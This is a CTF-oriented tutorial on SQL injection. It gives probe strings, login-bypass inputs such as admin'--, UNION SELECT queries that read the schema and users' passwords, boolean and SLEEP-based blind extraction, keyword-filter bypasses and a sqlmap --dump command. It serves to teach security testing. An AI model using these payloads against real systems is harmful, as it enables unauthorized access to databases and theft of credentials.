SQL injection: from a broken quote to the whole database
SQLi challenges reward a systematic climb: confirm the injection, work out the query shape, pull data with UNION, and fall back to boolean and time oracles when the output is hidden. Plus the auth-bypass one-liners and how to beat basic filters.
SQL injection happens when user input is concatenated into a query instead of being passed as a parameter, so your input stops being data and becomes part of the SQL. It is one of the oldest web bugs and still one of the most common CTF web categories, because it rewards method: there is a clear ladder from 'I think this is injectable' to 'here is the entire users table', and each rung has a standard technique.
The mistake beginners make is throwing ' OR 1=1-- at everything and giving up when it does not visibly work - including at backends that are not SQL at all, where the same idea has different syntax. The climb below is more reliable, and it tells you at each step what to try next.
Step 1: confirm, and learn the context
First establish that input reaches the query, and how it is quoted. A single quote is the classic probe: if ' causes an error or a change in behaviour, something is parsing it as SQL. Then confirm it is really injection and not just an error, by breaking and then fixing the query.
' -- does it error? that's a syntax break = promising
' -- -- comment out the rest; does the error go away?
' OR '1'='1 -- always-true; does it return more rows?
1' AND '1'='2 -- always-false; does it return fewer/none?Step 2: auth bypass, the free win
If the injection is in a login form, you may not need to extract anything. A query like SELECT * FROM users WHERE user='$u' AND pass='$p' becomes an unconditional match when you close the string and comment out the password check.
Username: admin'--
Username: admin' OR '1'='1
Username: ' OR 1=1 LIMIT 1--does output come back?
the only question that matters
yes: UNION SELECT
column count, then information_schema
no: boolean or time
one bit per request, binary searched
Step 3: UNION, when you can see output
If the query's results are displayed, UNION SELECT appends a second result set of your choosing - so you can select from any table you like. Two things must line up first: the number of columns, and which of them is actually printed.
-- Find the column count: increase until the error stops.
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ...
-- Or probe directly with NULLs until it succeeds:
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ...
-- Find which column is visible, then read the schema:
' UNION SELECT 1,2,3-- -- which number appears?
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--Step 4: blind SQLi, when you cannot
Often nothing from the query is displayed - only whether the page 'worked' or not, or how long it took. That is still enough. Blind SQLi extracts data one bit at a time by asking yes/no questions and reading the answer from the page's behaviour.
- Boolean-based. The page renders differently for true and false.
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'--- if the page looks 'true', the first character is 'a'. Walk each position, each candidate character. - Time-based. Nothing visibly changes, but you can make the database pause.
' AND IF((...)='a', SLEEP(3), 0)--- a three-second delay means the condition was true. Slower, but works when there is no other signal at all. - Error-based. The app leaks database errors. Force the answer into an error message with a function like
extractvalueorupdatexmland read the data out of the error text.
Beating simple filters
Many challenges filter keywords or characters. The bypasses are well-worn because the filters are shallow.
| Filter | Bypass |
|---|---|
| Blocks spaces | Comments as whitespace: '/**/OR/**/1=1--, or %0a, %09, parentheses |
Blocks OR/AND (case-sensitive) | Change case (oR), or use ||/&& |
Blocks UNION SELECT | UNI/**/ON SEL/**/ECT, or nested/case tricks |
| Strips a keyword once | Nest it: SELSELECTECT - stripping the inner leaves SELECT |
| Blocks quotes | Use numeric context, or CHAR(97)/hex 0x61 to build strings |
| WAF on comments | -- -, #, or terminate with a real trailing clause instead of commenting |
When to just run sqlmap
sqlmap automates every step above - detection, column counting, schema enumeration, and all three blind techniques with binary search built in. In a CTF it is the right tool once you have confirmed injection by hand and understand the shape, because it will grind out a blind extraction far faster and more reliably than you will. sqlmap -u '...' -p param --dump is often the whole endgame. Confirm manually so you know it is real and where; then let the tool do the tedious extraction.
The ladder
Probe
A quote, then the AND-true/AND-false pair. Note the quote context you landed in.
Try the free win
On a login,
admin'--andOR 1=1before anything else.If output is visible
ORDER BYfor the column count, thenUNION SELECTfrominformation_schema.If output is hidden
Boolean, time, or error-based extraction - with a binary search, not a linear one.
If it is filtered
Match the bypass to the filter, and treat the filter itself as the hint about what it is protecting.
Then automate
Once you have confirmed and understood it, hand the grind to sqlmap.